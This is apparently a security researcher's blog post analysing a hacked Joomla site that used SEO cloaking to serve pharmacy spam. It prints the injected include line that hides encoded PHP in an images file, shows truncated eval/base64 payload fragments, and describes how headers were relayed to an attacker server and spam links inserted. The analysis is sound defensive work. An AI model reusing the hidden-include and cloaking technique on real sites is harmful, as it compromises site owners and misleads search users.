Cloaking in SEO is defined as a technique in which the content presented to the search engine spider is different from that presented to the user’s browser (Wikipedia). But in case of hacked sites, cloaking is more tricky than just different content for search engines and for real users. It can also be different content for different types of users. Moreover, the internal implementation is usually hidden (cloaked) from webmasters of compromised sites.
This post will be about one of such site hacks that involved SEO cloaking and used quite an interesting trick to alter page content.
First of all, I’d like to thank Jim Walker (Hack Repair) who shared the story of one hacked site and sent me the malicious code found there.
At first, it looked like a typical site affected by a black hat SEO cloaking:
But then you would notice something puzzling:
Of course, although that’s not typical, the cloaking code can distinguish between “/” and “index.php” requests, spammy content can be downloaded from a remote site in real time and the code itself can use smart tricks and CMS APIs to hide itself in surprising places and modify web pages on the fly. Further analysis showed that while all this guesses were true, the actual tricks’ implementation was more interesting than we originally thought.
A site scan revealed a file called “updtr” in the “images” directory inside one of the active Joomla template’s sudirectories. At the top level of the template, there was the “styles.php” file were hackers added one line of code in the middle of the file:
@require(dirname(__FILE__).'/moorainbow/images/updtr');
Looks quite innocuous, isn’t it. But if you open the “updtr” file you’ll see this (full version on pastebin):
<?php error_reporting(0); eval(gzuncompress(base64_decode('eF59Um1rgzAQ/...skipped...HF7rzfjRDublzMyFohTO9/wX8t+Ms'))); ?>
<?php eval(gzuncompress(base64_decode('eF6FU9tum0AQ/ZU8WHKi9oGr61XEg52wGI...skipped...hP0TxcRfPrnv+jt/x5c/v7DxO+YfA='))); ?>
<?php eval(gzuncompress(base64_decode('eF6FVW1rGzEM/itXCDRmIVh+Ox/ZlXWs7E...skipped...4lg+/txWmabb8u97Pjv8BlyxTKw=='))); ?>
That’s what a typical encrypted malicious PHP code looks like. (Reminder: don’t limit your searches for malicious PHP patterns to *.php files only.)
Once decoded (pastebin), you can see a pretty short code that checks various request parameters and returns different versions of web pages. What is interesting is how it does it.
At the top level, we see three types of supported requests:
So what happens when someone requests a homepage and why does the code specifically checks for the “Kaspersky Internet Security” User-Agent? Well, in this branch, the malicious code collects all the data from the request’s HTTP headers (user IP address (REMOTE_ADDR and HTTP_X_FORWARDED_FOR), site domain (HTTP_HOST), REQUEST_URI, HTTP_USER_AGENT, HTTP_ACCEPT_LANGUAGE, HTTP_REFERER, SERVER_SIGNATURE, QUERY_STRING) and sends them as a POST request to hxxp://mainserverprocess .net/googleornot/dtbnz.php. The result of this POST request is returned to a user as-is (without any further modifications).
As you might have guessed, the result will be different depending on the parameters sent to dtbnz.php on mainserverprocess .net.
If the dtbnz.php script detects a normal user, then it needs to show them a normal homepage. How can a script on a remote server get the HTML code of a third-party website? The answer is like everybody else: load it via HTTP (people use web browsers for that ;-) ). After all, the script has enough information to do it (site domain and the exact request). Good, but we know if this script requests a homepage from the hacked site, the cloaking code will try to contact dtbnz.php on mainserverprocess .net again. Looks like a deadlock! Not really. Do you remember the check for “Kaspersky Internet Security” User-Agent string? That’s right, the dtbnz.php script uses this User-Agent string for its own requests to avoid deadlocks!
If we check access logs, we’ll find those requests with the “Kaspersky Internet Security” User-Agent there. Those log entries will also show that the requests come not from directly the dtbnz.php script. mainserverprocess .net’s IP address is 204.45.87.69 while the “Kaspersky Internet Security” requests come from 204.45.87.66. This means that spammers have at least two different servers (on the Fdcservers.net network), each of which has it’s own role in this attack.
If the dtbnz.php script detects a request from Google (based on the IP addresses sent by the cloaking script), it retrieves the HTML code of the hacked homepage just like in the above scenario, but before sending it back to the cloaking script on the hacked site, it makes some spammy modifications:
Example of the added link block:
<div id="pharmacy"><h1>online pharmacy cialis</h1><a href="http://www.example.com/" target="_blank">cialis online canada</a> ...skipped many links....<a href="http://example.org/" title="Cialis online 20mg">Cialis online 20mg</a> ...skipped some spammy text about erectile dysfunction treatment drugs...</div>
The rest content of the web page is left the same so that Google doesn’t flag it as suspicious for a radical content change.
So if spammers make Google index “pharma” keywords on the site what happens when people click on such search results?
The cloaking script checks the HTTP_REFERER header of requests and if it contains specific keywords (viagra, cialis, propecia, lipitor, and nexium) then it passes the keywords as the “pill” parameter to the dtbnz.php script. In all other cases the “pill” parameter is omitted.
When the dtbnz.php script sees known pills in requests then it simply fetches a corresponding online store pages from www .your-online-pharmacy .net or www .rxprofits .com and slightly modifies them so thatt they work properly off of a hacked site.

If the pills parameter is omitted then the dtbnz.php script fetched an unmodified copy of the hacked site homepage.
As you can see this particular approach has a key features:
Although this particular cloaking attack does quite smart things to stay under the radar, webmasters can still easily detect it and find the offending files. They only need to use proper tools and follow essential security practices.
Since the goal of cloaking is to have Google index spammy content on your site, Google is the best tool to detect such issues.
While Google can help reveal black hat SEO hacks of your site, you can see signs of the problem only when your site has been hacked for quite some time. Moreover, Google’s reports can’t show you how exactly hackers broke into your site and how they modified it internally. That’s is where you need low level techniques — they usually require more technical knowledge but their results are more timely and accurate.
Of course, don’t forget about all the rest best security practices (e.g. strong passwords, trusted up-to-date and fully patched software, strict permissions, malware-free local computers. etc.) and you may not have to deal with recovering your site after a hacker attack.
Related posts
Fantastic blackhat SEO cloaking demonstrating article, and recommendations for monitoring against blackhat SEO hacks!
What tool do you using for decoding such scripts?
PHP ;-)